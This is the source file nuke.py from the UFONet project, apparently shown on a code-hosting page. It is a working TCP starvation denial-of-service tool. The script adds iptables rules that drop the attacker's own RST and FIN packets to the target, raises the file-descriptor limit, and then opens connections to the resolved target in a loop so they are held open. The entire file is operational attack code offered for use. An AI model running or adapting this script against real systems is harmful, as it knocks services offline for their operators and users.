nuke.py 2.9 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import socket, select, os, time, resource
  11. from urllib.parse import urlparse
  12. # UFONet TCP Starvation (NUKE)
  13. def connect(ip, port):
  14. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  15. s.setblocking(0)
  16. s.connect_ex((ip, port))
  17. return s
  18. def nukeize(ip, port, rounds):
  19. n=0
  20. try: # RFC793 will lacks an exception if reset is not sent
  21. resource.setrlimit(resource.RLIMIT_NOFILE, (100000, 100000)) # modify kernel ulimit to: 100000
  22. os.system("iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP"%(ip, port)) # modify IPTABLES
  23. os.system("iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP"%(ip, port))
  24. epoll = select.epoll()
  25. connections = {}
  26. for x in range (0,int(rounds)):
  27. try:
  28. n=n+1
  29. s = connect(ip, port)
  30. print("[Info] [AI] [NUKE] Firing 'nuke' ["+str(n)+"] -> [SHOCKING!]")
  31. connections[s.fileno()] = s
  32. epoll.register(s.fileno(), select.EPOLLOUT|select.EPOLLONESHOT)
  33. except:
  34. print("[Error] [AI] [NUKE] Failed to engage with 'nuke' ["+str(n)+"]")
  35. os.system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP' %(ip, port)) # restore IPTABLES
  36. os.system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP' %(ip, port))
  37. except:
  38. print("[Error] [AI] [NUKE] Failing to engage... -> Is still target online? -> [Checking!]")
  39. class NUKE(object):
  40. def attacking(self, target, rounds):
  41. print("[Info] [AI] TCP Starvation (NUKE) is ready to fire: [" , rounds, "nukes ]")
  42. if target.startswith('http://'):
  43. target = target.replace('http://','')
  44. port = 80
  45. elif target.startswith('https://'):
  46. target = target.replace('https://','')
  47. port = 443
  48. try:
  49. ip = socket.gethostbyname(target)
  50. except:
  51. try:
  52. import dns.resolver
  53. r = dns.resolver.Resolver()
  54. from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
  55. url = urlparse(target)
  56. a = r.resolve(url.netloc, "A") # A record
  57. for rd in a:
  58. ip = str(rd)
  59. except:
  60. ip = target
  61. if ip == "127.0.0.1" or ip == "localhost":
  62. print("[Info] [AI] [NUKE] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
  63. return
  64. nukeize(ip, port, rounds) # attack with NUKE using threading